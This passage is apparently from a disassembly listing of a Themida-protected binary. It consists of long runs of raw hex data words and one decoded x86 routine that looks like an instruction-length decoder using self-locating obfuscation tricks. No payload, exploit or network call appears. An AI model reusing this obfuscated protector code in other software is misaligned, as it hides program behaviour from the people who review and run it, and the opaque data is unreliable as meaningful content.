9AA69AD3h, 3114BE78h, 0A14B34BBh, 31143335h, 75C0E4EEh dd 68D71C47h, 31143A53h, 3A564EDDh, 0F9CAF0BEh, 0CE3B21F8h dd 0D8933202h, 311434D5h, 0AE2818F7h, 0D73BB2B4h, 0A4EB6AE5h dd 37003DB0h, 0A9A1D554h, 5BD4BF09h, 32FC63BBh, 111434DDh dd 0B84BF7B1h, 0B010100Bh, 291010FFh, 761434DDh, 0E383F7B9h dd 0D972B9F9h, 311434BDh, 601AD8ACh, 36FD85F1h, 26143477h dd 6B5FC136h, 0B24B6505h, 25248553h, 38613471h, 2BF58938h dd 451432C9h, 0BA4764F7h, 356E8CB7h, 0B49D34BBh, 37002E94h dd 862EA963h, 0E2EB3261h, 8C976CE0h, 37002E3Ch, 610340EEh dd 356E8C24h, 0B49D34BBh, 37002E94h, 853DA963h, 0E2EB3261h dd 51EC6CE0h, 0EB068FBBh, 6F0586BFh, 93608B16h, 0F19F41D0h dd 0D94334B7h, 311434EDh, 6ED76B57h, 35304832h, 3530705Ch dd 311434F6h, 27D76330h, 0B6F4F1E1h, 0ABAD528Fh, 0BCED6E9Bh dd 2895EFEAh, 3113DDBDh, 0FABE34DDh, 0EF98F2D8h, 0D091B9B7h dd 0C9122DDBh, 317EE422h, 3117DCBBh, 6C343477h, 5D9D6978h dd 759530F9h, 310030CAh, 64513477h, 0F11F7A78h, 316FB0D2h dd 317E34EEh, 3117DC24h, 6A3434BBh, 6D9D6F1Eh, 759530CAh dd 310F3053h, 625734BBh, 268EA41Eh, 0A1BCB15Bh, 269B3B14h dd 0D81434BBh, 311434CFh, 3351C20Ch, 0A9D136C2h, 0F9109131h dd 6D2AD638h, 0AC995D6Bh, 3700790Eh, 0FBFEB5DDh, 31178C75h dd 2EAE34EEh, 0CE757878h, 63145E58h, 31143735h, 0F24E14EEh dd 1540BD2Dh, 1550B5BFh, 31142DD9h, 0F24676EEh, 0E351F286h dd 0BA720D3Fh, 0D289B92Fh, 5B122D6Fh, 32FC6677h, 111434BBh dd 0B84EF787h, 0B01010BAh, 2D101033h, 731434BBh, 0D681F78Fh dd 0F2EE5728h, 0BC24BF04h, 2874D53Eh, 62145EDBh, 31143706h dd 0F24F1477h, 1548BDE0h, 1550B5D9h, 311422EAh, 0F2477777h dd 80C4500Bh, 5BC4CBB5h, 32FC66EEh, 11143477h, 0B84EF7E1h dd 0B0101089h, 2C1010AAh, 73143477h, 396EF7E9h, 0E02F101Ch dd 8FE05A02h, 7FE2B511h, 3ED43F2Ch, 31147059h, 0FA9F52EEh dd 0AC99E3C6h, 370079C2h, 3117BFD2h, 8E1B34EEh, 31158C81h dd 0E69534BBh, 63D590Ch, 3EFDD711h, 35143477h, 7ED0AB5Ch dd 1AFC5AE5h, 8B946B9Ch, 0BA1B6F1Dh, 311434B2h, 3117B3D2h dd 0BA7234EEh, 0D989B98Eh, 0B0122D3Ah, 6245353Ch, 0D091B9EEh dd 0D9122D17h, 311434B7h, 0B33EB4Ch, 0F53BE087h, 7FB84A8h dd 57C4CBE2h, 3AF50B62h, 0B903B2Eh, 57143477h, 3E04E204h dd 0AC99C762h, 37007997h, 0BAE3B511h, 26903B5Ah, 3E1434DDh dd 31142566h, 3118DD77h, 0EA3534BBh, 0E8751E64h, 0EB0EAE7Bh dd 32AC3C57h, 0CE1434BBh, 0BBE5BF3Eh, 0F0957706h, 153C025h dd 0B0C58936h, 0BC9932C4h, 370DB2E3h, 7A4849CFh, 6C910731h dd 1A1220F7h, 33FDF521h, 6FD289B9h, 775B122Dh, 0BB32FC66h dd 87111434h, 0BAB84EF7h, 33B01010h, 0F305E983h, 6AC08BA4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 3A49C352h, 66A4CCBBh, 0B1548BBEh, 0FC38B44h dd 8166CEB7h, 8B6912E9h, 0CA8B66C0h, 83F78B66h, 1430B1BDh dd 9750006h, 1AE1BD83h, 74000614h, 8B535019h, 47AB8C0h dd 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh dd 6141AE1h, 50177400h, 47AB853h, 85890000h, 61430C1h dd 0B4429D8Dh, 0D3FF0616h, 0B70F585Bh, 0E9C08BCFh, 7, 56453DEFh dd 0E9000000h, 537h, 68BA05D7h, 2375488Bh, 0DD2F8C46h dd 92E4D500h, 499B22B5h, 0CF08A810h, 12BF9CEEh, 607855A7h dd 0A6300D5Fh, 2FB7C315h, 0B6E4329h, 0F55C5758h, 0AFF7C412h dd 0E7FBE1E7h, 0E70F51F1h, 79464EB8h, 5AB25E5Dh, 6B7202Bh dd 0BCFFD7B4h, 0E8D30310h, 19A42F3Ch, 12DFF76Dh, 0F54DF9C6h dd 23D674C6h, 913D8256h, 0D7FF0A39h, 223BCF25h, 0CD1A168Eh dd 0C81AB209h, 421619F0h, 6B7B80D3h, 4CA4506Bh, 5E7A85B4h dd 6A370F61h, 98A5516Eh, 0BAE9813Ah, 0F2E129AFh, 0BF121FCBh dd 5EF64EFAh, 21B17EC6h, 31C9F0E5h, 21CDEEE4h, 23309AC9h dd 407D56AEh, 929860A8h, 51F27EACh, 0FF6998C0h, 2EDADFF2h dd 5E0AB121h, 0E7CA88ECh, 0A62FFC52h, 0F092E413h, 686E9C3Ch dd 0EACF0653h, 64EE63Eh, 7F52383Eh, 3E6651F2h, 0B422FF0Fh dd 8C388552h, 0AAF09C34h, 51F27EC7h, 28AE7B43h, 70126493h dd 0ED5B0A5Bh, 518754FEh, 77D93F6Eh, 0F0000000h, 8F42C412h dd 8E267E2Ah, 0E7B89CE2h, 223651F1h, 0F1FA6B60h, 9C64FEEDh dd 0F1F3B096h, 563C4251h, 6A51F1F4h, 399F7C42h, 59BFEE86h dd 6, 6D4E8451h, 0C112573Eh, 904350FCh, 6174812Dh, 512D9099h dd 8B23DE85h, 7A5169DFh, 0E34CC6AFh, 0C2144343h, 0A3A97180h dd 51F287BDh, 6F7AA9D1h, 44115964h, 72846E8Eh, 0F5646B5Dh dd 2A59B15Dh, 22993D1Ah, 0C51217D0h, 943F4CF8h, 0A70B7D29h dd 378651EBh, 0EDCE08E5h, 1D9E3441h, 8AC8EA71h dd 0EDEF6411h, 0ACBAFEh, 12D10000h, 0E3B0F8C5h, 2E98C7F2h dd 354BB121h, 3DFD46Ch, 0A76FB74Fh, 0F2CABBA1h, 78A7CF51h dd 0E8D7010Eh, 13A62F3Ch, 0CD8DF167h, 0B0D236ECh, 10625B7Ch dd 846A7038h, 751F2CBh, 1D6C2F95h, 0CFF7BD59h, 0C64295A0h dd 0E1DAF812h, 0F805B149h, 0A930DCDDh, 0A5D0CB87h, 79FEEDC9h dd 6Dh, 48C51290h, 0F1E85C42h, 0B0487051h, 1FE1F704h, 0E391E7B0h dd 1D65FD70h, 0AB5CD646h, 653150D0h, 0ED8704B2h, 0F6608F27h dd 23CFEEE9h, 52FEBB16h, 53F5BFDh, 0E840ECD3h, 5AF8DC50h dd 368835A2h, 7544915Eh, 7441272Dh, 2D5551F2h, 0C11217FEh dd 270A50FCh, 0A351F1E8h, 8DD8F38Fh, 0D1FEEDF1h, 0A0EDCE04h dd 0F55B8A33h, 1, 0FBC0120Ch, 797F474Fh, 51F1E793h, 45507FA7h dd 297E2A91h, 0EFCC06D3h, 182C6EC0h, 0D3AF01BAh, 6B71B965h dd 57E50354h, 0EEF6A2CAh, 43A2026h, 264E5806h, 0D1EAECF7h dd 47D3B289h, 0CE1AD690h, 24B28F9Fh, 0C1A5EB97h, 235806ADh dd 0EDE9033Fh, 95AF86CEh, 885A4C1Eh, 8D6A2F3Bh, 18F19836h dd 0DAFCD9E9h, 0AE2835E1h, 8BEF610Dh, 5BA135CFh, 7927DD46h dd 0ADFF9732h, 0D900F66Fh, 10F08F8h, 171F0000h, 0FF2E8B4Ah dd 8FD787F5h, 13F9FFC7h, 2751F1E8h, 558CD0FFh, 0B57E50Dh dd 0AC2A37E3h, 18E5BD0Fh, 0F850FCBDh, 0EE18BEC9h, 0D028D4E9h dd 0B7848C38h, 854E9B1Eh, 5348C38h, 33DFDCFAh, 600CB126h dd 0EA378253h, 8FBA13E7h, 0CD882F6Bh, 0B3178935h, 0FC601297h dd 8B30A65Eh, 896AFB39h, 3B94F8D9h, 0AB000000h, 0B0F8A613h dd 0F1E7E4AAh, 0E490B8D1h, 0F1E7B89Eh, 7D8C45D1h, 0F1E79177h dd 0E57DA5D1h, 12AB2C39h, 0F290F466h, 0D57599EFh, 0C30BB320h dd 0F1E7F7BDh, 51A3CB51h, 7073h, 0A513CA00h, 0F0ABB1F9h dd 9E57E510h, 0F5C2CA76h, 0A5B0DFDEh, 5B388A31h, 4E94407Bh dd 5805F26Dh, 6E6431C9h, 1A49A14Dh, 64728AC8h, 0BB290557h dd 1AC5CB13h, 0A85DFC79h, 1DB508CBh, 644DFED5h, 2E8536A0h dd 4B7A8B26h, 0B902D4E1h, 7416B80Dh, 0E2F653C1h, 41D931DDh dd 13AC2CF9h, 2DD8DEE4h, 0BB6415D9h, 597E4B93h, 2BABB864h dd 0B9C9F890h, 0F9A51300h, 6F00ABB1h, 3F0C57E8h, 237B2792h dd 9C4870F4h, 2274478Fh, 0E22A9145h, 6E2E141Ah, 1A42580Bh dd 0B17981EBh, 0B6DC5ABh, 82B1D958h, 4640563Eh, 480A6E06h dd 5EBF1B9h, 19A86820h, 1FB7C2F1h, 9B724A9Ch, 96F90738h dd 0D8E31200h, 411BDFEh, 6B6B38D1h, 0C64CA450h, 0A868C6E0h dd 8834CCF4h, 3BF19133h, 1D8209Bh, 413E93A3h, 0A2B2E14Fh dd 62AA11C5h, 7B82908Bh, 37085F5Ah, 0F6608FEEh, 3A2026EEh dd 4EA86875h, 0FEBF726h, 23000000h, 0F3E7B56h, 894A1728h dd 1308834h, 0CA1261C8h, 9A3C49F5h, 70687521h, 3B96A34Fh dd 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h dd 5333B864h, 0C3815B54h, 4, 8704EB83h, 575C241Ch, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0EC83240Ch, 242C8904h, 1986C568h dd 240C8B06h, 5404C483h, 81242C8Bh, 4C4h, 8B85000h, 2D000000h dd 2A4F02E0h, 0E005E801h, 892A4F02h, 34FF5808h, 0C4815D24h dd 4, 592434FFh, 0E904C483h, 0FFFAF22Bh, 0B98F1C90h, 0B89682F6h dd 6198B8Ch, 0E0FFC503h, 7D12F80Dh, 4CF81353h, 5F04F3A1h dd 10AB7509h, 7DED3084h, 5E8h, 0B8F80600h, 666073D3h, 5032D281h dd 6890Fh, 820F0000h, 0 dd 0BA665E61h, 0C681F75Fh, 5BA8h, 0B068F88Bh, 0F000016h dd 58Ch, 8B665300h, 66595AC2h, 0FF8159BFh, 8DEA8036h, 9E85Bh dd 0ED5B0000h, 4D3EB516h, 66D68D7Eh, 0E7DAD781h, 1CC3815Fh dd 0F6E1AE3h, 688h, 2AD78100h, 813D59A1h, 408C81EBh, 8120B209h dd 8BD4C8F3h, 8166602Bh, 0F118DC2h, 1086h, 0AE800h, 0A09E0000h dd 9374723Eh, 900F3417h, 0F53615Bh, 68FC2B7h, 135F0EB8h dd 39EE8119h, 667EB54Ah, 73D0D081h, 4A35C681h, 0BF0F7EB5h dd 850F49C3h, 19h, 7BDA8166h, 2BE913h, 7E80000h, 239F5C98h dd 36755144h, 8B19C8F8h, 68F0F56h, 81000000h, 815A72CAh dd 0FF59E902h, 0CE96FFFFh, 2812E7E1h, 3F536395h, 1C8E937h dd 88880000h, 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 0CC20000h, 758F2900h, 10000h, 11h dup(0) dd 53E90000h db 3, 2 dup(0) byte_5A1ABB db 55h ; DATA XREF: Themida_:005497E0o dd 0E8h, 0ED815D00h, 6198EE2h, 2F85C760h, 6198Eh, 66000000h dd 0A1663E81h, 0F850Fh, 85C70000h, 6198E33h, 6, 24E9h dd 37858D00h, 5006198Eh, 8E87858Dh, 56500619h, 1DE8006Ah dd 83000000h, 0FF2510C4h, 89000000h, 198E3385h, 0B5036106h dd 6198E33h, 8E2F858Bh, 0C35D0619h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5A1B4D mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5A1B59 ; --------------------------------------------------------------------------- loc_5A1B4D: ; CODE XREF: Themida_:005A1B36j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5A1B59: ; CODE XREF: Themida_:005A1B48j push ebx push esi push edi loc_5A1B5C: ; CODE XREF: Themida_:005A1BB1j ; Themida_:005A1BCDj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A1B6F: ; CODE XREF: Themida_:005A1B96j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6198F99h lea ebp, [ebp+6198E0Fh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A1B9C inc cl cmp cl, 0Bh jb loc_5A1B6F loc_5A1B9C: ; CODE XREF: Themida_:005A1B8Bj cmp cl, 0Bh jz loc_5A1BF9 cmp al, 66h jnz loc_5A1BDA cmp byte ptr [ebp-5], 0 jnz loc_5A1B5C cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5A1BD2 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5A1B5C ; --------------------------------------------------------------------------- loc_5A1BD2: ; CODE XREF: Themida_:005A1BBFj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5A1BDA: ; CODE XREF: Themida_:005A1BA7j cmp al, 67h jnz loc_5A1B5C cmp byte ptr [ebp-6], 0 jnz loc_5A1B5C xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5A1B5C ; --------------------------------------------------------------------------- loc_5A1BF9: ; CODE XREF: Themida_:005A1B9Fj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A1C25 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A1C2A ; --------------------------------------------------------------------------- loc_5A1C25: ; CODE XREF: Themida_:005A1C04j movzx edi, al shr edi, 1 loc_5A1C2A: ; CODE XREF: Themida_:005A1C20j push ebp call $+5 pop ebp sub ebp, 6199051h lea ebp, [ebp+6198D0Fh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5A1DAC mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5A1CF0 dec ecx jz loc_5A1CD3 dec ecx jnz loc_5A1D43 cmp byte ptr [ebp-2], 0 jnz loc_5A1D3F cmp byte ptr [ebp-5], 0 jz loc_5A1CB2 mov byte ptr [ebp+0Bh], 2 loc_5A1CB2: ; CODE XREF: Themida_:005A1CA8j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 61990DDh mov dword ptr [ebp+6198E2Fh], 1 pop ebp jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_5A1CD3: ; CODE XREF: Themida_:005A1C8Dj cmp byte ptr [ebp-2], 0 jnz loc_5A1D1D cmp byte ptr [ebp-5], 0 jz loc_5A1D1D mov byte ptr [ebp+0Bh], 2 jmp loc_5A1D1D ; --------------------------------------------------------------------------- loc_5A1CF0: ; CODE XREF: Themida_:005A1C86j cmp byte ptr [ebp-2], 0 jnz loc_5A1D36 cmp byte ptr [ebp-5], 0 jz loc_5A1D25 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A1D1D mov [ebp+0Bh], cl loc_5A1D1D: ; CODE XREF: Themida_:005A1CD7j ; Themida_:005A1CE1j ... inc byte ptr [ebp+0Bh] jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_5A1D25: ; CODE XREF: Themida_:005A1CFEj cmp dl, 5 jnz loc_5A1D43 mov [ebp+0Bh], dl jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_5A1D36: ; CODE XREF: Themida_:005A1CF4j cmp dl, 6 jnz loc_5A1D43 loc_5A1D3F: ; CODE XREF: Themida_:005A1C9Ej mov byte ptr [ebp+0Bh], 3 loc_5A1D43: ; CODE XREF: Themida_:005A1C94j ; Themida_:005A1CCEj ... dec byte ptr [ebp+0Bh] jz loc_5A1D71 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5A1D53: ; CODE XREF: Themida_:005A1D69j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A1D53 mov esi, edx loc_5A1D71: ; CODE XREF: Themida_:005A1D46j and al, 0FEh cmp al, 0F6h jnz loc_5A1DA6 cmp edi, 7Fh ja loc_5A1DA6 test bl, 38h jnz loc_5A1DA6 cmp byte ptr [ebp-7], 0 jz loc_5A1DA0 movzx eax, byte ptr [ebp-4] jmp loc_5A1DA3 ; --------------------------------------------------------------------------- loc_5A1DA0: ; CODE XREF: Themida_:005A1D91j push 1 pop eax loc_5A1DA3: ; CODE XREF: Themida_:005A1D9Bj mov [ebp-1], al loc_5A1DA6: ; CODE XREF: Themida_:005A1D75j ; Themida_:005A1D7Ej ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5A1DAC: ; CODE XREF: Themida_:005A1C56j mov al, bl and eax, 7 sub eax, 4 jz loc_5A1DD7 dec eax dec eax jz loc_5A1DCD and bl, 7 add [ebp-1], bl jmp loc_5A1DDF ; --------------------------------------------------------------------------- loc_5A1DCD: ; CODE XREF: Themida_:005A1DBCj mov al, [ebp-3] add al, 6 jmp loc_5A1DDC ; --------------------------------------------------------------------------- loc_5A1DD7: ; CODE XREF: Themida_:005A1DB4j mov al, [ebp-3] add al, 4 loc_5A1DDC: ; CODE XREF: Themida_:005A1DD2j add [ebp-1], al loc_5A1DDF: ; CODE XREF: Themida_:005A1DC8j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5A1E07 movzx ecx, byte ptr [ebp-1] inc ecx loc_5A1DF2: ; CODE XREF: Themida_:005A1E01j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A1DF2 loc_5A1E07: ; CODE XREF: Themida_:005A1DE7j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 6198EDCh, 0C018589h, 12E80614h, 0D4000000h, 0DF4618F3h dd 0CA480CC2h, 2865B9ECh, 0AB744A3Eh, 10E85Ch, 55E90000h dd 7C8EF382h, 0BF646DC8h, 647E926Ch, 0CC8094D6h, 815B5907h dd 0B4568FF0h, 0B1C38164h, 8100005Ch, 950025EEh, 1126BF4Ch dd 0EF814388h, 4387FA28h, 13E9h, 0B93C8600h, 98652915h dd 0FD50DA2Ah, 39316CB4h, 29018187h, 0C281138Bh, 7D5EE9B9h dd 7E857h, 866D0000h, 0A8587421h, 5958F98Dh, 0F034C281h dd 0BE662500h, 0C2815FA4h, 14C4ECB9h, 52C3BF0Fh, 0D1D48060h dd 4442BB66h, 66038F61h, 5886E081h, 95B8EB81h, 0C3817188h dd 718895B4h, 5E9h, 80F33C00h, 0F4FD38Eh, 0FFFFA785h dword_5A1ED8 dd 0CA8B66FFh, 53E9h, 890CCD00h, 15h, 0C51C5700h, 6148434Ah ; DATA XREF: Themida_:0054B9ECo dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 9 dup(0) dd 0B72E9h, 945F6800h, 0BCE90619h, 68FFFAEAh, 61995A9h dd 0FAEAB2E9h, 96CF68FFh, 0A8E90619h, 68FFFAEAh, 619977Ch dd 0FAEA9EE9h, 984168FFh, 94E90619h, 68FFFAEAh, 6199968h dd 0FAEA8AE9h, 9A4768FFh, 80E90619h, 68FFFAEAh, 6199C41h dd 0FAEA76E9h, 9D3768FFh, 6CE90619h, 0C6FFFAEAh, 7A57A916h dd 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h, 0DDE0F7B9h dd 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h, 580B7B32h dd 13E44B46h, 0ABB1F9A5h, 57EB9A92h, 0BF8CD4FCh, 149E517h dd 1B58FB28h, 82543183h, 13818D39h, 6535FAACh, 4AA24E6Dh dd 5D3A7F3h, 0B58B2CAEh, 12AA8A76h, 343A02CAh, 580B4D4Eh dd 0C70B3A62h, 5E04FFCBh, 0BE8BD3FBh, 7951A318h, 7A9DA9A2h dd 0BEED59CDh, 509823B3h, 109C8288h, 88B05E24h, 75E3EF59h dd 0ECB981C9h, 5DA1D0E9h, 641739FEh, 7CEECCF4h, 4D327853h dd 9965563h, 6B710000h, 0AE250254h, 0F2E0BD0Fh, 3B9A77C9h dd 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h, 0A7F9C612h dd 5DAF0CCAh, 0DDC3C951h, 0F1580B7Bh, 40178FF6h, 0F4224F41h dd 0DAE51402h, 0AA77BFFCh, 0BFFED92Bh, 0F423BB13h, 62597D8Ah dd 1AC63410h, 34D005D2h, 19711D9Eh, 844C5281h, 0F0E820B7h dd 748B37CFh, 8314ECD3h, 5C8B2328h, 0E6008518h, 1FCBF357h dd 6DFF7D9h, 64557C58h, 9528ABB8h, 0F5DBE1E9h, 95806DFh dd 0C9896DE1h, 7E4B21E8h, 61B9655Ah, 29A2E032h, 0F8D8F63Ch dd 42C2h, 0A513D900h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh dd 3F580602h, 8D737994h, 0A1580602h, 2835E179h, 54C04FAFh dd 5BD64DA1h, 20C217C3h, 0DD94C062h, 0C91AD76Dh, 0A486A31h dd 0D8FBD491h, 0D12AF8h, 12410000h, 3E4BF7C4h, 6B782499h dd 97A4506Bh, 142A7C3Fh, 51F1EC25h, 479922B4h, 3E9A6C6Ah dd 313DE981h, 0CDD31BC3h, 57E50592h, 0EAC61840h, 0BF8CD47Ch dd 7076A518h, 0FADD3E6Ah, 5EA6CE5Dh, 0E2C8CE96h, 0F65E1CBDh dd 43949FCEh, 0E3F410C5h, 3ED62EDAh, 607754A6h, 94404F9Eh dd 0E27AE66Ah, 94817004h, 75836D38h, 84Ch, 4C9E21BBh, 759646Fh dd 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h, 2EA380D2h dd 7C5C398Bh, 0C214F143h, 139BA7F9h, 0B7D270Dh, 0D9403B58h dd 42C24017h, 0E82CD8A3h, 8A9B5F91h, 0D40310A7h, 0D9FA0EC9h dd 48E038E4h, 87511EF6h, 0D8FE0938h, 0E859A52Eh, 7A5CC9B5h dd 60B864FCh, 622C1218h, 184051F2h, 13752E80h, 0ABB1F9A5h dd 57E502E8h, 9CE28EB6h, 580602BAh, 7723963Fh, 0A24E6B6Ah dd 0C72A688Ch, 8DBCDE00h, 79A811C0h, 0D9D6580Dh, 3E2F06F8h dd 0D692A7E2h, 0D59D0332h, 95000000h, 7FAE0FC8h, 494F1798h dd 51F1E863h, 15204F77h, 0DBB2FAC1h, 0F6ACCCCDh, 7DE7161Bh dd 0AA566770h, 0EED4DAA2h, 251F2CCh, 7867ABDAh, 0C51F2D1h dd 0D926993Fh, 8792C1F8h, 3D1A6C4Fh, 6A762299h, 60C54FCh dd 57E5EACBh, 23FF5179h, 0BBC109B5h, 5DFBBEA0h, 0D8BEC48Ch dd 0EC5E1D9Eh, 0E91195C4h, 503D4A1h, 0E53DE9D0h, 5623FB4Dh dd 40F3E7Bh, 4E343AD3h, 625E1D9Fh, 0BAC4A23Ah, 373892CEh dd 7263F4Dh, 0FBE10000h, 3E9572C4h, 82502D7Fh, 0CB0AE739h dd 18BF9CEEh, 9E1A53A5h, 0A6F8C512h, 5FB108C9h, 17695682h dd 0CD1F9C3Ah, 4D3339C1h, 61580B7Eh, 0C512FF66h, 0F7CEA6F8h dd 878CC79h, 6E79A806h, 83389E68h, 9287FD7h, 0F6E6EA4Eh dd 0DF98EA82h, 4BF7C412h, 0D123983Eh, 0F1E7D9BBh, 428C6351h dd 413AA335h, 23919BCAh, 9E6B337Bh, 84DC8835h, 3A021155h dd 715857ECh, 43DEEA03h, 0FF47DFDFh, 0CF17A432h, 0FDA8E4F8h dd 84B350EDh, 7C3F9774h, 0DAFBC8D0h, 0ACDB33DFh, 448C34A2h dd 0FF620F3Eh, 9F7DA55Dh, 38902AE9h, 7924321Ch, 8E000006h dd 421F714Eh, 0FDDA2C91h, 0B794E6D5h, 6C499B1Eh, 0C700526Bh dd 0A518BFF1h, 5E5B7653h, 16A92F0Ch, 0CCEFE7C4h, 0E0E66E7Ah dd 580B7EFAh, 12AC130Eh, 3E4BF7C4h, 0A24A6498h, 1005901Bh dd 0F65ACC78h, 8536A054h, 9A62703Dh, 0F72A7B1h, 57039BFDh dd 4838BF40h, 9D354C9Dh, 3694F55h, 557D51F2h, 8DD81626h dd 71FEEDD6h, 7, 1AF1188h, 0D9680000h, 51F1E7F7h, 0A6A00F7Dh dd 0D8BB7F72h, 61297109h, 0F280755Bh, 0ABB18951h, 51F27FC5h dd 0EA19B1D9h, 32EADEE4h, 3D1A57ECh, 438B239Ah, 95B6076h dd 6511AA2Ch, 0FB43EB59h, 0FF5EC6F5h, 0C80DDA5Dh, 163EC2F1h dd 902F5A38h, 0C7D5BF38h, 5B4h, 0E4368953h, 9FF1CC07h dd 59AB10C2h, 0E60597Ch, 0C517A631h, 53842C8Ch, 963B186Ah dd 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B7FBFA5h, 71D8D358h dd 4BF7C412h, 0DB23983Eh, 0C8F7C40Eh, 0CA88EC5Eh, 0C517A432h dd 0EDF1DE87h, 0B2B880FEh, 51F1F3CCh, 913D7C59h, 928C7339h dd 6E48735Eh, 2B91C058h, 7, 0F31142h, 13680000h, 0E9B1F9A5h dd 5602BB1Ch, 728BCFFEh, 5A57EB9Ah, 7AA68C92h, 5429580Bh dd 0B39DB596h, 0F6254D13h, 3A024A72h, 0B574E34h, 8E7B6258h dd 6EEC6F2Eh, 0CED41CB4h, 580B74E8h, 9FA5D4FCh, 0F4C90AD7h dd 0B6C1F048h, 9412DC20h, 3FF8A1D3h, 41925FA7h, 4978D07Ch dd 917A5C39h, 0B6FA58Bh, 4B313758h, 5F580B70h, 1497137h dd 0B7015FBh, 69012958h, 0EEE8B5BDh, 26949ECDh, 302C327Ah dd 605E0523h, 29C8288h, 88B05E25h, 75219C3Bh, 703D851Dh dd 400D5566h, 0F6DB2891h, 0A78494C3h, 0D4E08C2Fh, 0A572BA66h dd 545A8930h, 182BEF4Eh, 0DFBDE564h, 327761BDh, 8D788670h dd 7A000004h, 2E0B5D62h, 0E9C618A5h, 0A380D2E9h, 58358732h dd 0B3EC3E7Fh, 912CAB05h, 4A6F623Fh, 2BD1BF8h, 0B803D3B0h dd 0CCD25A66h, 580B80E6h, 1198FFFAh, 141h, 0F9A51368h dd 9512E9B1h, 17356DDh, 8734A2EFh, 79FB1458h, 3D6557ECh dd 41272DF5h, 55580C5Ah, 2BF8FE2Dh, 0E1BE10ABh, 2A1016F5h dd 3E580C5Ah, 0CAD27E16h, 0B8E7D6FDh, 489040AEh, 9823B380h dd 216594ECh, 5E060D25h, 1F050BD3h, 0AC5E25EDh, 90E89425h dd 0EF73A2CAh, 0B1B77FC7h, 5E25ECCBh, 8288B7DFh, 529A21B5h dd 0EC9E848Ah, 0CBB25E25h, 9F6ED78Fh, 3C6B03BFh, 84874F2Ch dd 262E987Eh, 0A3C5AC5Eh, 11573E4Bh, 0FBB53EBh, 209D3A07h dd 0E3ED1C74h, 7B81C975h, 641A011Ch, 9A0CEA12h, 0A732758Ch dd 3AEAFBDh, 83590000h, 0C60DEA3Ch, 0AC8A5F7h, 53825FB1h dd 0A0371466h, 2692CB1Dh, 1E704D8Ah, 0D7299041h, 8FE1DEFAh dd 459724B2h, 0C5ABB139h, 0D9580B81h, 0C41277DEh, 983E4BF7h dd 0C90EDB23h, 9129943Fh, 0F45E8DE5h, 0C87C1E82h, 0E1DAF80Eh dd 0ACB9F749h, 52FEEDF1h, 